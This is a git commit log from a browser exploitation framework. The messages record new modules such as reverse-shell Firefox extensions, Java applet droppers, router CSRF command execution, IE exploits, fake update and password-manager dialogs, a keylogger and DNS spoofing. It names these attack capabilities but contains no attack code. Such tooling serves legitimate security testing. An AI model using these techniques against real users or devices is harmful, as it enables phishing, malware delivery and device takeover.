4a733a6f74 Finishing ui_abuse_ie module development. Minor fix on one animated gif remains. Tested on IE9/10 on Win7 successfully. 2014-03-13 17:37:04 +00:00
antisnatchor
d4fd537108 Continued working on ui_abuse_ie module 2014-03-12 20:58:39 +00:00
antisnatchor
14f1991542 Fixed config.yaml issue in ui_abuse_ie module. 2014-03-12 17:15:22 +00:00
antisnatchor
1c055febeb Working on new exploit module that abuses UI expectations on IE9/10 tricking the user to run a (signed) exe. Based on Rosario Valotta research. 2014-03-12 16:59:09 +00:00
Brendan Coles
b3c4753114 Merge pull request #976 from kxynos/master
Remove stuck iframes and get html from page and iframes modules

Thanks @kxynos
2014-03-11 09:08:02 +11:00
Kosta Xynos
44058f0025 Remove stuck iframes and get html from page and iframes modules 2014-03-09 21:55:21 +00:00
antisnatchor
afdb7044d8 BeEF debug == false by default 2014-03-06 17:34:33 +00:00
Michele Orru
161729bba5 Merge pull request #975 from kxynos/master
Added support for Asus RT-N66U and DSL-N66U Command Execution via CSRF
2014-03-06 17:32:09 +00:00
antisnatchor
8f4f51874d Fixed issues with the DNS server RESTful API. Now it works. 2014-03-06 17:11:27 +00:00
Kosta Xynos
25550f9cfa Add Asus RT-N66U and DSL-N66U Command Execution via CSRF support 2014-03-06 16:20:44 +00:00
antisnatchor
46e165df5e Added support for browser language detection. Also added a new entry in Browser Details and JS call beef.browser.getBRowserLanguage() 2014-03-06 12:35:02 +00:00
bcoles
3494542b54 Make upstream DNS server configurable 2014-03-04 00:56:41 +10:30
bcoles
c11d4d40ea replace backticks with IO.open 2014-03-03 22:31:14 +10:30
antisnatchor
2f7ccf033c Commented out the tests for DNS code. 2014-03-02 16:14:56 +00:00
antisnatchor
91fa8f4e63 Various fixes for the DNS extension code. 2014-03-02 16:05:57 +00:00
antisnatchor
cdb050a940 Added more delay to beef_start Rakefile task. 2014-03-02 16:05:19 +00:00
antisnatchor
39e672f420 Fixed 2 RCE bugs in the DNS extension code (unsafe eval calls). 2014-03-02 15:43:36 +00:00
antisnatchor
ec9cf4d460 Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:56:33 +00:00
antisnatchor
9dcff5184d Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:40:18 +00:00
bcoles
32d30a8176 Remove the method from a couple of 'beef.dom.createIframe' calls
Part of issue #969
2014-02-28 23:49:27 +10:30
Brendan Coles
55af5625bb Merge pull request #972 from pgrohe/pgrohe/issue969
Pgrohe/issue969
2014-03-01 01:06:41 +11:00
Ben Passmore
52aacdde66 Removed bundle install from Rakefile for TeamCity 2014-02-26 15:45:06 +10:00
antisnatchor
7639537d11 Added support for Chrome 32 and 33. 2014-02-25 13:31:59 +00:00
Phil Grohe
d050198afa Clean up .gitignore file. Accidentally committed changes to it to exclude my Sublime Text 2 project files. 2014-02-23 12:04:52 -05:00
Phil Grohe
f274001a65 Revised comments on beef.dom.createIframe() to reflect removal of 'method' parameter & form submitting behavior. Updated existing function calls to beef.dom.createIframe() to remove 'method' parameter. 2014-02-22 11:57:56 -05:00
Phil Grohe
cc51e2c294 Initial revision of beef.dom.createIframe() Removed 'method' parameter and code path that creates a form and uses created iframe as target. 2014-02-22 11:18:12 -05:00
Wade Alcorn
7554449218 Version number updated 2014-02-22 06:42:16 +10:00
Saafan
a4973a5365 Merge pull request #946 from offensivecoder/update_twitter_require_version_5
Update twitter require version 5
2014-02-21 00:48:46 +02:00
bcoles
bcb8a1b858 Merge branch 'master' of https://github.com/beefproject/beef 2014-02-14 10:02:00 +10:30
bcoles
4cbe074259 Add support for IE11 2014-02-14 10:01:39 +10:30
Wade Alcorn
744b7649e7 Corrected some usages of domain to origin 2014-02-08 09:56:31 +10:00
soh_cah_toa
a75a95b663 Implemented DNS spoofer in social engineering extension.
The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof"
key in the JSON request. This adds a DNS record pointing the
cloned webpage to the BeEF server.

Integration tests included.
2014-02-04 16:18:12 -05:00
bcoles
5084083e23 Update BeEF version to 0.4.4.10-alpha 2014-02-01 21:40:18 +10:30
bcoles
c52d3651e7 Fix indentation 2014-01-28 20:54:57 +10:30
bcoles
563296f67b Add malicious FF extension (reverse shell) module 2014-01-27 08:30:37 +10:30
bcoles
d230cfa593 trivial edits for consistency 2014-01-27 07:29:00 +10:30
bcoles
2b44c9184d Add malicious FF bindshell module 2014-01-27 07:21:44 +10:30
bmantra
b2d03e9364 Merge pull request #963 from bmantra/master
Inital version of CookieJar overflow module.  And minor bugfix of active…  closes #935
2014-01-19 11:02:13 -08:00
bmantra
0e57fb0be1 Inital version of CookieJar overflow module. And minor bugfix of active fax overflow module. 2014-01-19 19:58:14 +01:00
Michele Orru
275db51dd2 Merge pull request #962 from bcoles/csrf_to_beef
Add CSRF to BeEF module tool
2014-01-14 02:23:07 -08:00
bcoles
9e683d03bf Add Firefox 27 support 2014-01-13 23:22:29 +10:30
bcoles
71b539940b Add color, output functions and Ruby version check 2014-01-13 00:42:32 +10:30
bcoles
8ea8098fe2 Validate module class/dir name 2014-01-13 00:26:03 +10:30
Brendan Coles
ce5b576de1 Merge pull request #961 from bcoles/createIframeXsrfForm_enctype
Add encoding type argument 'enctype' to 'createIframeXsrfForm()'
2014-01-12 05:11:42 -08:00
bcoles
048405d4f1 Add dynamic module options 2014-01-12 19:09:11 +10:30
bcoles
83ed8558b7 Add encoding type argument 'enctype' to 'createIframeXsrfForm()' 2014-01-12 02:34:24 +10:30
bcoles
c0dee2fe54 Add form encoding type support 2014-01-12 00:28:14 +10:30
bcoles
e50d681a64 Add BozoCrack module 2014-01-11 23:27:13 +10:30
bcoles
1f83c2a63f Add Redis IPEC module 2014-01-08 22:22:22 +10:30
antisnatchor
9060e4c64f Issue #951: added notes about Windows installation. 2014-01-06 16:34:04 +00:00
antisnatchor
277d205663 Issue #951: added notes about Windows installation. 2014-01-06 16:29:11 +00:00
antisnatchor
4732d66586 Fixed issue #951: BeEF can now be installed correctly on Windows. 2014-01-06 16:13:32 +00:00
antisnatchor
927f8efaed Updated README file 2014-01-06 14:52:51 +00:00
antisnatchor
10c9988493 Updated README file 2014-01-06 14:49:19 +00:00
antisnatchor
a0a36d333a Added a note about using SSL when connecting to Metasploit. Related to issue #958 2014-01-06 14:14:19 +00:00
antisnatchor
6a8a103b8b Final fix for issue #957 2014-01-06 11:03:40 +00:00
bcoles
3d5ecd0787 Add tools/csrf_to_beef - initial commit 2014-01-05 12:13:49 +10:30
bcoles
88019d21a3 Add error message for nil command module key 2014-01-05 05:45:48 +10:30
bcoles
faafa9a196 Modify customhook extension to allow multiple hook points 2014-01-04 14:02:43 +10:30
bcoles
7c977ef1aa Move 'modules/exploits/sqlitemanager_xss/' to 'modules/exploits/xss/' directory 2014-01-04 11:48:10 +10:30
bcoles
f97087c37a Change hard-coded 'hook.js' to 'beef.http.hook_file' 2014-01-04 11:33:58 +10:30
bcoles
6d449672ae Trivial edits to 'secret_page.html' demo page 2014-01-04 09:06:14 +10:30
antisnatchor
b43fbce044 Fixed issue #957. The requester and proxy now work again after the jquery update. 2014-01-03 13:48:31 +00:00
antisnatchor
2899886543 Added more client-side debugging/logging features to better trace errors when a module fails. 2014-01-03 11:52:00 +00:00
Wade Alcorn
8003f1a47f Updated the copyright year to 2014 2014-01-01 16:34:15 +10:00
bcoles
b307891364 Add 'IE MS13-069 CCaret Use-After-Free' exploit module from MSF 2013-12-30 22:53:18 +10:30
bcoles
f0d989f6e9 Update description 2013-12-30 22:48:51 +10:30
bcoles
fe37a14adc Add 'IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow' exploit module from MSF 2013-12-30 10:59:25 +10:30
bcoles
bece5c1438 Add wifi_pineapple_csrf module (untested and disabled) 2013-12-30 07:58:07 +10:30
bcoles
1862870b11 Get all input fields
Update 'Get Form Values' module to retrieve all input fields
on the hooked page - not just input fields inside of form elements.

This makes more sense.
2013-12-30 07:19:37 +10:30
bcoles
02e6d4db11 Rescue StandardError rather than Exception 2013-12-30 06:41:07 +10:30
bcoles
c9f0b73100 Add config path to error message 2013-12-30 05:27:27 +10:30
bcoles
d17d1357c6 Upgrade jquery from 1.5.2 to 1.10.2 2013-12-29 23:49:30 +10:30
bcoles
6efa01cc22 Upgrade jquery from 1.5.2 to 1.10.2 2013-12-29 23:39:06 +10:30
bcoles
91b06ca158 Add support for Firefox 26 2013-12-22 19:16:22 +10:30
antisnatchor
b28a79b56a Enhancing the keylogger to log also shift/alt/ctrl 2013-12-15 16:01:50 +00:00
bmantra
adde5275af Merge pull request #950 from bmantra/master
2 seconds is more than enough to send a fax :p
2013-11-29 12:27:59 -08:00
bmantra
94e98f2fbb 2 seconds is more than enough to send a fax :p 2013-11-29 21:25:35 +01:00
bmantra
8a90f37cd8 Merge pull request #949 from bmantra/master
add module for Cross-Site Faxing (XSF)
2013-11-29 12:10:11 -08:00
bmantra
7afa52ec99 add module for Cross-Site Faxing (XSF) 2013-11-29 21:06:36 +01:00
bmantra
513e61aff2 Merge pull request #948 from bmantra/master
add new IPE with ActiveFax 5.01
2013-11-29 10:22:26 -08:00
bmantra
d7116b8f08 add IPE with ActiveFax 5.01 2013-11-29 19:18:37 +01:00
Christian Frichot
924717d6fa Support for Chrome version 31 in browser detection 2013-11-25 16:38:55 +08:00
Marc Wickenden
f2ba3b55e8 require version 5 of the twitter gem due to removal of Twitter.configure method 2013-11-24 00:20:08 +00:00
Marc Wickenden
91575adcb2 Merge branch 'master' of https://github.com/beefproject/beef 2013-11-24 00:16:36 +00:00
bcoles
db02b982bc Merge branch 'master' of https://github.com/beefproject/beef 2013-11-05 16:00:55 +10:30
Brendan Coles
5df78c1284 Merge pull request #943 from gcattani/FakeLastPass
Module Update: Fake LastPass
2013-11-04 22:18:14 -08:00
bcoles
8875674f3b Update version to '0.4.4.9-alpha' 2013-11-05 15:47:39 +10:30
bcoles
ce2b5293af Add support for Firefox 25 2013-11-05 14:45:27 +10:30
gcatt
612d0d91bb Module Update: Fake LastPass
Updated Firefox frame in order to look more similar to the real one.
2013-11-04 15:41:31 +01:00
bcoles
05502a3c91 fix bug preventing loading of 'replace_video_fake_plugin' module 2013-11-04 15:52:54 +10:30
Michele Orru
441ccbbfce Merge pull request #941 from gcattani/LcamtufDownload
Module Update: lcamtuf Download
2013-10-30 10:31:57 -07:00
gcatt
f1df608f64 Module Update: lcamtuf Download
Updated Adobe Flash Player URL to the current one.
2013-10-30 18:29:44 +01:00
Michele Orru
24bf95ff16 Merge pull request #940 from gcattani/FakeFlashUpdate
Module Update: Fake Flash Update
2013-10-30 10:15:28 -07:00
gcatt
9987f0781f Module Update: Fake Flash Update
Updated the prompted picture and part of the module.
2013-10-30 17:05:01 +01:00
bcoles
41bfb8e995 Fix bug with Unity Web Player detection
Fix issue #910
2013-10-17 17:54:16 +10:30
Michele Orru
77950ae680 Merge pull request #938 from gcattani/hasUnity
Module: Detect Unity Web Player
2013-10-15 06:53:41 -07:00
gcatt
d4c69f2bfd Module: Detect Unity Web Player 2013-10-15 15:47:47 +02:00
bcoles
8e6751611d Add beef.browser.getPageHead() and beef.browser.getPageBody()
Update 'Get Page HTML' module to use these functions

Tested on IE6, FF22, C28

Fix issue #518
2013-10-13 03:37:15 +10:30
bcoles
09443675cc Fix bug in fake_notification_ff module 2013-10-12 00:43:54 +10:30
bcoles
70cac51a5d Add error check for missing dropper 2013-10-11 23:14:56 +10:30
antisnatchor
69ff8c0013 Added rubyzip dependency to core.rb. Fixed a bug in dom.js when attaching applets for IE. 2013-10-10 20:54:29 +01:00
antisnatchor
050da281ac Modified Gemfile. Added missing directory for Firefox Extension dropper module. 2013-10-10 20:47:14 +01:00
antisnatchor
5dd46ffd72 From antisnatchor with love. New module: malicious Firefox Extension dropper. Based on @mihi42 FF extension. 2013-10-10 15:18:03 +01:00
antisnatchor
45c51180a6 Completely removed deployJava ro prevent CtP issues on Firefox. 2013-10-09 16:11:27 +01:00
antisnatchor
b280d099f8 From antisnatchor with love. New module: Signed Java Applet dropper (win only for now). 2013-10-08 17:02:02 +01:00
antisnatchor
2c750670d7 fixed doctype error in basic.html (IE only) 2013-10-08 15:21:54 +01:00
antisnatchor
71a67defd4 Added new RESTful API method to bind a local file to a url. Also added "dropper" directory into Social Engineering extension. 2013-10-08 14:08:52 +01:00
bcoles
638e037e56 Remove Java and VLC detection from hook init 2013-10-06 19:17:55 +10:30
Christian Frichot
8033b77b73 Support for Chrome version 30 in browser detection 2013-10-06 17:20:01 +08:00
antisnatchor
2f51deb88a Fixed issue with Social Engineering extension when using an SMTP server without any needed authentication. 2013-10-02 14:53:04 +01:00
antisnatchor
8d44b48768 Added dependency to therubyracer (V8 implementation for Ruby) if the OS is not OSX. 2013-10-02 14:24:22 +01:00
antisnatchor
86d23d3815 Fix issue #662 the Web UI base path can now be configured in the main config.yaml. Web UI JS files are now also minified. 2013-10-01 17:16:46 +01:00
bmantra
a1f102b869 Merge pull request #933 from bmantra/master
initial commit of the beef bind shellcode
2013-09-28 12:18:21 -07:00
bmantra
fa95ac5b55 initial commit of the beef bind shellcode 2013-09-28 21:18:23 +02:00
Michele Orru
5980eff047 Merge pull request #931 from DinisCruz/patch-1
adding info to read me about running beef in windows
2013-09-27 02:10:45 -07:00
Dinis Cruz
31587f689b adding into to read me about running beef in windows 2013-09-27 00:59:36 +01:00
bcoles
5942138aba Update spyder eye module
* file error handling
* render the screenshot in the admin UI
* log screenshot filename to master logs
2013-09-12 18:29:56 +09:30
bcoles
189e6543e0 Fix bug with rendering images from command responses in the admin UI 2013-09-12 18:26:00 +09:30
bcoles
25aca3d291 Update 'command.js' for Spyder Eye module 2013-09-11 15:26:15 +09:30
bcoles
257a310a02 Update 'module.rb' for Spyder Eye module 2013-09-11 15:24:54 +09:30
bcoles
2420d59a72 Update 'config.yaml' for Spyder Eye module 2013-09-11 15:20:19 +09:30
Brendan Coles
66f01ff4e6 Merge pull request #930 from preth00nker/master
adding generic module to take screenshoots with canvas
2013-09-10 23:33:37 -07:00
Christian
3f7eec4e28 adding generic module to take screenshoots with canvas 2013-09-09 13:52:13 -05:00
Christian Frichot
1b6159ebeb New Module - Detect Internal IP with WebRTC. See Issue #929 2013-09-08 11:09:57 +08:00
Christian Frichot
df4b0bce5e Supports Chrome 29 detection 2013-09-07 12:56:21 +08:00
Saafan
d872a5a3e7 Merge remote-tracking branch 'origin/master' into Detect-Java
Conflicts:
	core/main/client/browser.js
2013-08-20 05:55:27 -04:00
bcoles
f5b86e7894 Add metasploit default path for kali 2013-08-19 12:37:35 +09:30
bcoles
db83cdd086 Add metasploit default path for pentoo - take 2 2013-08-19 12:37:06 +09:30
bcoles
e9e085e9e1 Add metasploit default path for pentoo 2013-08-17 21:56:42 +09:30
Brendan Coles
62a5d5e96c Merge pull request #927 from thefinn93/spellingfix
Correct minor typo in the default config.yml
2013-08-11 02:22:52 -07:00
Finn Herzfeld
173178e1d6 Updated text as requested by bcoles 2013-08-11 00:07:59 -07:00
bcoles
f2883e0c94 Fixed typo
Extra 'i' from vim insert mode
2013-08-09 13:34:24 +09:30
bcoles
858814c614 Update BeEF core to complete HTTPS support
Part of issue #745
2013-08-09 13:28:35 +09:30
bcoles
21417dc3e2 Update BeEF server protocol for multiple modules to use
`beef.http.https.enable`

Now uses the `beef.net.httpproto` value rather than a hard-coded
protocol string.

Part of issue #745
2013-08-09 13:21:33 +09:30
Finn Herzfeld
ca8f5d37e1 Corrected minor typo 2013-08-06 17:03:17 -07:00
bcoles
c6314f97cb Update version to beef-0.4.4.7-alpha 2013-08-04 16:45:24 +09:30
Brendan Coles
1a5b21765f Merge pull request #924 from phihag/install-pipeline-instead-of-fifo
Use a pipe instead of a fifo during installation
2013-08-04 00:54:26 -07:00
Brendan Coles
9fe27b113f Merge pull request #923 from phihag/install-abort-on-error
Update install to abort on error
2013-08-04 00:52:56 -07:00
Saafan
402f4997df Fixing java support by separating Oracle deployement toolkit in a separate file. #786 2013-08-03 16:25:46 -04:00
Philipp Hagemeister
3948750571 Use a pipe instead of a fifo during installation
bash's anonymous fifos are only available if devfs is mounted.
On a system without /dev mounted (which is perfectly reasonable for a locked-down security testing machine), installing beef fails with (after applying #923)

    install-beef: line 81: /dev/fd/62: No such file or directory

This commit fixes and lets the installation run through.
2013-08-01 17:33:09 +02:00
Philipp Hagemeister
957510b6d9 Abort on error
On a (debian) system without sudo, lots of messages rush by, and it's not obvious was fails.
With this change, the log looks like:

    $ bash install-beef
    bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
    ======================================
               BeEF Installer
    ======================================

    CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies.

    In rare cases, this may lead to unexpected behaviour or package conflicts on some systems.

    Are you sure you wish to continue (Y/n)?

    Detecting OS..
    Debian/Ubuntu Detected
    Installing Prerequisite Packages..
    install-beef: line 74: sudo: command not found

which is far more informative.
2013-08-01 17:30:00 +02:00
soh_cah_toa
9d4ea6c224 Fixed issue mentioned in FIXME comment in RubyDNS::Server#match.
Changed 'block.class.name' to just 'block' in case/when clause.
2013-07-22 22:42:27 -04:00
soh_cah_toa
b2aed14234 Added regex support to #add_rule (tests included).
Due to strange behavior in Sourcify, the /.../ literal syntax cannot
be used as a parameter; only %r{} or Regexp::new. There is a note
for this in the documentation for #add_rule.
2013-07-22 22:37:39 -04:00
Saafan
75f33016ea Added support for target browser detection for MSF modules #530 2013-07-22 08:49:56 -04:00
Christian Frichot
7f64c94e03 New Module - Fake LastPass Dialog 2013-07-21 13:53:44 +08:00
Christian Frichot
82a70fbcd0 Detect LastPass module (except on IE) - #802 2013-07-20 13:58:20 +08:00
soh_cah_toa
6a62cf9eaa Added public attributes 'address' and 'port' to Dns::Server.
This removes the need to search config.yaml for the address:port.
Also included unit tests.
2013-07-19 22:33:40 -04:00
soh_cah_toa
8d961c1938 Added support for rules that fail to resolve (e.g. NXDOMAIN).
Included unit tests.
2013-07-19 22:15:25 -04:00
soh_cah_toa
141a12a92f Included #remove_ruleset in public interface tests. 2013-07-17 18:19:56 -04:00
soh_cah_toa
95d0ddbe87 Added new method #remove_ruleset that clears the entire DNS ruleset.
Included unit tests as well.
2013-07-17 18:16:46 -04:00
soh_cah_toa
9cfb98963d Added unit tests for #get_ruleset. 2013-07-16 23:48:46 -04:00
soh_cah_toa
94da775ba6 Added unit tests for #remove_rule (good and bad behavior). 2013-07-15 23:58:37 -04:00
soh_cah_toa
85d4375825 Added unit tests for #get_rule with an invalid id.
Also overrode Kernel#puts to suppress output from RubyDNS.
2013-07-15 23:36:29 -04:00
soh_cah_toa
4d0f58684f Divided #add_rule tests into separate good and bad tests.
Also added unit tests that verify rule id format.
2013-07-15 23:07:06 -04:00
soh_cah_toa
8d95e6f522 Changed public interface tests to use #assert_respond_to.
This will improve the accuracy of potential error messages.
2013-07-15 18:25:33 -04:00
soh_cah_toa
5769615cd5 Added unit tests for #get_rule.
Also removed convenience variables from #add_rule tests (domain and
response). The "response" key in the hash returned by #get_rule is
generated by Sourcify which sourcifies the variable name, not its
value.
2013-07-15 03:48:01 -04:00
soh_cah_toa
9a4fd6cb4c Removed "dns" task in Rakefile since "unit" is fine now. 2013-07-15 03:02:29 -04:00
soh_cah_toa
1ffa21d62a Added unit tests for #add_rule.
These represent the first actual tests for the Dns::Server class.
2013-07-15 02:47:37 -04:00
soh_cah_toa
d8a8e37029 Moved DM adapter setup into first "test" method.
Since #setup is called between each test, the database table would
otherwise be cleared every time.
2013-07-15 02:39:41 -04:00
soh_cah_toa
8270abd2d5 Added unit tests for Dns::Server public interface. 2013-07-15 02:12:31 -04:00
soh_cah_toa
3865aab7ee Added unit tests for required config.yaml settings. 2013-07-15 02:07:26 -04:00
soh_cah_toa
123c3cdc04 FIXED UNIT TEST ISSUES!!! \(^o^)/
Load path and configuration setup belong in #startup along with any
required files. DataMapper adapter connections go in #setup. That's
the secret recipe.
2013-07-15 02:00:12 -04:00
soh_cah_toa
ebbadba6dd Improved #run_server to check if EM reactor is already running.
Also moved Thread creation to inside #run_server instead of
forcing caller to do so.
2013-07-14 23:27:21 -04:00
Christian Frichot
a22926bc53 Merge remote-tracking branch 'origin/master' 2013-07-08 19:41:10 +08:00
bcoles
2c2b9a85f4 Update browser fingerprinting module firefox signatures 2013-07-08 10:57:02 +09:30
bcoles
dd811ca234 Add proxy detection using http headers to browser details
Add proxy details to browser log

Part of issue #527

Note: does not work for transparent proxies
2013-07-08 00:25:49 +09:30
Christian Frichot
acfdf45d16 Merge remote-tracking branch 'origin/master' 2013-07-06 15:10:43 +08:00
bcoles
e88c3c1f86 Add fake_notification_c module
Part of issue #695
2013-07-05 01:17:20 +09:30
bcoles
32b48e5172 Add some client-side debugging to browser.js
Perform minor code formatting changes
2013-07-04 23:50:34 +09:30
bcoles
b16d7e3563 Add fake_notification_ff module
Rename fake_notification module to fake_notification_ie
2013-07-04 23:12:01 +09:30
Christian Frichot
7e73c0a532 Merge remote-tracking branch 'origin/master' 2013-07-04 20:14:29 +08:00
bcoles
1bddb00ec8 Add Replace Video (Fake Plugin) module
Fix issue #695
2013-07-04 11:54:52 +09:30
bcoles
9daacd799e Update version to beef-0.4.4.7 2013-07-04 08:20:05 +09:30
bcoles
4fe51dcd28 Update version to '0.4.4.6.1-alpha' bug fix edition 2013-07-04 08:17:17 +09:30
bcoles
af6cf9e5d4 Add Firefox 23 and 24 support for Firefox aurora/beta users
Firefox 23 ETA August 2013
Firefox 24 ETA September 2013
2013-07-04 07:39:23 +09:30
BWZ
3705009982 LiveCD - updade bundles during beef update
Fixes #918
2013-07-02 18:19:41 +10:00
antisnatchor
7f1473ccbf Added detection for Firefox 22 (and improved detection of FF 21/22 with a new DOM object). 2013-07-01 17:32:00 +01:00
antisnatchor
f869d2924a Fixed an XSS discovered by Mario in the default keylogger. 2013-07-01 15:24:36 +01:00
Christian Frichot
0b1c753bd3 Merge remote-tracking branch 'origin/master' 2013-07-01 16:22:20 +08:00
gcatt
f6ebe9fac0 Revert "Add Unity Web Player detection"
This reverts commit 696e3715fe.
2013-07-01 10:11:20 +02:00
Christian Frichot
570a8266ed Merge remote-tracking branch 'origin/master' 2013-07-01 16:10:33 +08:00
gcatt
696e3715fe Add Unity Web Player detection 2013-07-01 10:07:47 +02:00
Christian Frichot
53536d9d86 Merge remote-tracking branch 'origin/master' 2013-07-01 07:04:42 +08:00
bcoles
e61b266921 update version 2013-07-01 00:42:47 +09:30
bmantra
8cf17b01a5 Merge pull request #916 from bmantra/master
added option to use only LF in the bind shell module for use with Linux
2013-06-28 11:43:27 -07:00
bmantra
164ff5bea6 added option for LF only, to use with Linux 2013-06-28 20:42:53 +02:00
Michele Orru
6c6a33db50 Merge pull request #915 from Nbblrr/master
DNS Enumeration modules does not consider the user timeout parameter
2013-06-28 05:48:54 -07:00
Nbblrr
e95c74b5e1 DNS Enumeration module does not consider the user timeout parameter 2013-06-28 14:33:33 +02:00
soh_cah_toa
d9f7af2721 Reference point for broken unit tests.
NoMethodError and NameError are present.
2013-06-22 03:32:42 -04:00
Michele Orru
c70fa80468 Merge pull request #911 from gcattani/910-HasUnity
Add Unity Web Player detection
2013-06-19 03:06:42 -07:00
gcatt
1be8ec12fd Add Unity Web Player detection 2013-06-18 23:59:43 +02:00
Christian Frichot
0dd499c71a Updated browser detection to capture Chrome under iOS. See Issue #909 2013-06-16 16:19:58 +08:00
Christian Frichot
dab58f0e61 Updated hardware constants better detects and displays pure Nexus phones. Issue #908 2013-06-16 14:49:39 +08:00
Christian Frichot
2e68470d23 Android OS Icon should now display. See Issue #907 2013-06-16 14:27:12 +08:00
Christian Frichot
473f349394 Missing apostrophe in PHP-5.3.9-dos module.rb. This was breaking Rake. Make sure you run rake peeps before pushing! 2013-06-15 13:48:05 +08:00
Christian Frichot
dbebf12d27 Update to browser_filter. See Issue #906 2013-06-15 13:45:24 +08:00
Christian Frichot
96f763b7e0 Chrome 27/28 detection. Fixes Issue #905 2013-06-15 13:41:41 +08:00
bcoles
d40486c391 Add airlive_ip_camera_csrf module 2013-06-14 15:28:35 +09:30
Brendan Coles
d43f443555 Merge pull request #904 from Nbblrr/master
Add modules for detecting MS Office version and Bitdefender 2012

Fix issue #902
Fix issue #903
2013-06-13 22:38:37 -07:00
Nbblrr
2b473bfda9 Add module which detect MS Office version. Closes #903 2013-06-14 00:39:39 +02:00
Nbblrr
a2b627c8ae Add module to detect bitdefender 2012. Closes #902 2013-06-14 00:07:00 +02:00
soh_cah_toa
d45bff3a59 Improved #check_dns_response to use config file for address/port. 2013-06-10 18:11:36 -04:00
soh_cah_toa
d2ac9e0f7a Included broken DNS unit tests so others can help debug.
Temporary 'dns' and 'dns_rest' Rake tasks make it easier to run tests.
2013-06-08 23:25:23 -04:00
soh_cah_toa
9e1ec69e40 Added tests for GET /api/dns/ruleset handler. 2013-06-08 22:44:51 -04:00
soh_cah_toa
e775748603 Added more tests for GET /api/dns/rule/:id with invalid input.
Also changed handler to return 404 when rule isn't found.
2013-06-08 21:58:28 -04:00
soh_cah_toa
3b58518cfd Added tests for GET /api/dns/rule/:id handler.
Fixed #parse_response so that these tests pass.
2013-06-08 19:04:42 -04:00
soh_cah_toa
b9d64f0b89 Significantly refactored code in #test_3_add_rule_types. 2013-06-07 23:56:19 -04:00
soh_cah_toa
e527f1ae09 Refactored redundant code in #test_1_add_rule_good. 2013-06-07 23:09:07 -04:00
soh_cah_toa
68e56fa8c0 Added tests for NS, PTR, SOA, TXT, WKS, and invalid RR types.
All RR's are now tested. Though the tests are yet to be optimized.
2013-06-07 23:03:10 -04:00
soh_cah_toa
eccbdd6958 Added tests for AAAA, CNAME, HINFO, MINFO, and MX RR types.
Also fixed #format_response to properly format MS records.
2013-06-07 18:32:29 -04:00
soh_cah_toa
019ec2f6ed Added new test for attempting to add an existing rule. 2013-06-07 00:05:15 -04:00
soh_cah_toa
cfa9177af1 Added 4 new tests for bad POST /api/dns/rule requests. 2013-06-06 23:58:12 -04:00
soh_cah_toa
1f37ceec9f Began first integration tests for DNS RESTful API interface.
First test is for POST /api/dns/rule handler.
2013-06-06 23:16:40 -04:00
soh_cah_toa
6901581ae7 Moved #format_response call to before when RR type is evaled.
Since #format_response throws an exception for unknown RR types,
calling it first will ensure bad Resolv::DNS::Resource names will
never be evaled.
2013-06-06 22:59:54 -04:00
soh_cah_toa
09ec09601e Changed hash key syntax from previous commit.
Besides being consistent, Sinatra actually requires the string
syntax.
2013-06-05 18:33:08 -04:00
soh_cah_toa
fc6f0aface Changed DELETE handler to return JSON "success" key.
Prior to this, nothing was returned. This will allow users to
determine whether or not a rule was removed as expected.
2013-06-05 18:29:18 -04:00
soh_cah_toa
89a5d6fdbb Modified #remove_rule to return a boolean value.
This is will soon allow the DELETE handler to indicate success
or failure.
2013-06-05 18:20:48 -04:00
soh_cah_toa
6c61b39d81 Changed 401 status to 403 in filter for non-permitted IP's.
403 Forbidden is more appropriate since 401 Unauthorized only
indicates that authentication is needed. In the case of a bad IP,
authentication will make no difference which is exactly what 403 is
meant for.
2013-06-05 17:09:09 -04:00
soh_cah_toa
80ab665054 Added new InvalidParamError class for handling bad named parameters.
Previously, InvalidJsonError was being used mistakenly for this which
is misleading considering no JSON was involved.
2013-06-05 16:56:05 -04:00
soh_cah_toa
e56494d486 Renamed /rules GET route to /ruleset for the sake of consistency.
Also added new "count" key to result that lists the number of rules.
2013-06-05 16:30:24 -04:00
soh_cah_toa
2f5133e11a Changed GET handlers to return recently fixed rule data.
Also wrapped all handlers in a begin/end block that catches
internal StandardError exceptions.
2013-06-05 15:56:33 -04:00
soh_cah_toa
fce4c9196d Modified grep test case to allow #eval use in DNS extension.
Using #eval is necessary for normal functioning and is now used in
a safe manner.
2013-06-03 21:53:06 -04:00
soh_cah_toa
0af4029915 Added placeholders necessary to start DNS unit tests.
Currently does nothing but assert(true).
2013-06-03 21:42:34 -04:00
soh_cah_toa
44622345d0 s/DNS/Dns/g since that is the BeEF style convention. 2013-06-03 17:55:58 -04:00
soh_cah_toa
0f8221918b Improved coding style (a la ruby-style-guide and rubocop).
Because I'm too tired to start testing and need a little victory. ;)
2013-06-03 00:11:41 -04:00
soh_cah_toa
c8c9e1e139 Reimplemented POST handler to avoid unsafe use of #eval.
Now the desired response is passed an array. Each RR type is handled
specially to craft the necessary response.
2013-06-02 22:40:58 -04:00
soh_cah_toa
998980b566 Fixed case-statement in #match that prevented adding rules locally. 2013-06-02 22:23:27 -04:00
bcoles
dbabb379fb Add Iceweasel detection in browser.js 2013-06-02 05:14:33 +09:30
bcoles
5252bea54a Add Get Form Values module
This module retrieves the name, type, and value of all input
fields for all forms on the page.
2013-06-02 05:11:45 +09:30
bcoles
7fdfcc3ef0 Add beef.browser.isA() to avant_steal_history module
Part of issue #774
2013-06-02 03:19:05 +09:30
bcoles
3c5b68e112 Add beef.browser.isA() to detect Avant Browser
Fixes issue #774
2013-06-02 03:14:29 +09:30
Michele Orru
9e17958268 Merge pull request #900 from james-otten/master
Added Actiontec Q1000 router CSRF module
2013-05-31 02:36:40 -07:00
James Otten
f2efa533c8 Added Actiontec Q1000 CSRF module 2013-05-30 15:49:47 -05:00
Christian Frichot
9636cb0972 Updated Gmail detection URL. Fixes #Issue 899 2013-05-28 20:34:56 +08:00
bcoles
1dc59f7b01 Add D-Link ShareCenter command execution exploit module 2013-05-27 13:50:12 +09:30
soh_cah_toa
7f4562945a Added new InvalidJsonError class for handling errors in JSON input.
This is better practice than just (ab)using StandardError.
2013-05-26 23:46:37 -04:00
soh_cah_toa
38284d5eaa Implemented DELETE handler for removing DNS rules. 2013-05-26 23:26:58 -04:00
bcoles
ff620d42f4 Add belkin_dns_csrf DNS hijack module
Part of issue #538
2013-05-27 12:50:06 +09:30
